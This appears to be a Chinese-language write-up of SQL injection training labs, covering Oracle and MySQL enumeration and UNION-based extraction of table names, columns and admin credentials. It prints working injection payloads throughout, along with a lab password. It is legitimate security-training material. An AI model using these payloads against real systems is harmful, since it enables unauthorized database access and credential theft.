6.SQL injection attack, listing the database contents on Oracle
本关需要我们获得Oracle数据库里的数据并登录到管理员
回显列数同样为2列

虽然题目已经提示了是Oracle数据库,但还是验证一下

没问题确实是
MySQL数据库与Oracle数据库注入区别
查表payload
select table_name from information_schema.tables where table_schema='xxx'等于select table_name from user_tables
查列payload
select column_name from information_schema.columns where table_name='xxx'等于select column_name from user_tab_columns where table_name='xxx'
查数据
都一样使用
select 列 from 表
爆数据库
使用payload
a' union select 'null',global_name from global_name--+

爆数据表
使用payload
a' union select 'null',table_name from user_tables--+

爆数据列
使用payload
a' union select 'null',column_name from user_tab_columns where table_name='USERS_NZGDQY'--+

爆数据
使用payload
a' union select 'null',PASSWORD_GZGRDT from USERS_NZGDQY--+

在测试第二个密码my68y5v72tt38ebb1eg4时登录管理员成功

7.SQL injection UNION attack, determining the number of columns returned by the query
本关要求我们查询返回的列数
通过order by得到回显的列数为3列

测试只有第2列和第3列会回显(后面发现第一列是那个view detail的按钮)

很奇怪,这题到这边应该已经要做出来了,已经知道回显列数是3列了,但是题目意思应该是希望我们用select null一个个添加去尝试,那么就尝试三个null,正常来说不会报错
确实没报错并且通过了

8.SQL injection UNION attack, finding a column containing text
本关要求我们找到回显的列并且让其回显题目给的一个随机值
回显列数还是3

直接用union select '1','给的随机值','3'--+

9.SQL injection UNION attack, retrieving data from other tables
本关要求应该就是给我们一个表然后要我们找到里面的账号密码登录管理员
回显列数为2列

既然都给表名了直接爆数据吧
使用payload
a' union select username,password from users--+

出现管理员,登录成功过关

10.SQL injection UNION attack, retrieving multiple values in a single column
本关要求和上一关一样
回显列数为2列

测试了只有第2列能回显,第一列是那个按钮

可以使用concat来查询
payload为
a' union select '1',concat(username,password) from users--+

或者使用concat_ws分隔两个列
payload为
a' union select '1',concat_ws('.......',username,password) from users--+

随后登录管理员成功过关
1506

被折叠的 条评论
为什么被折叠?



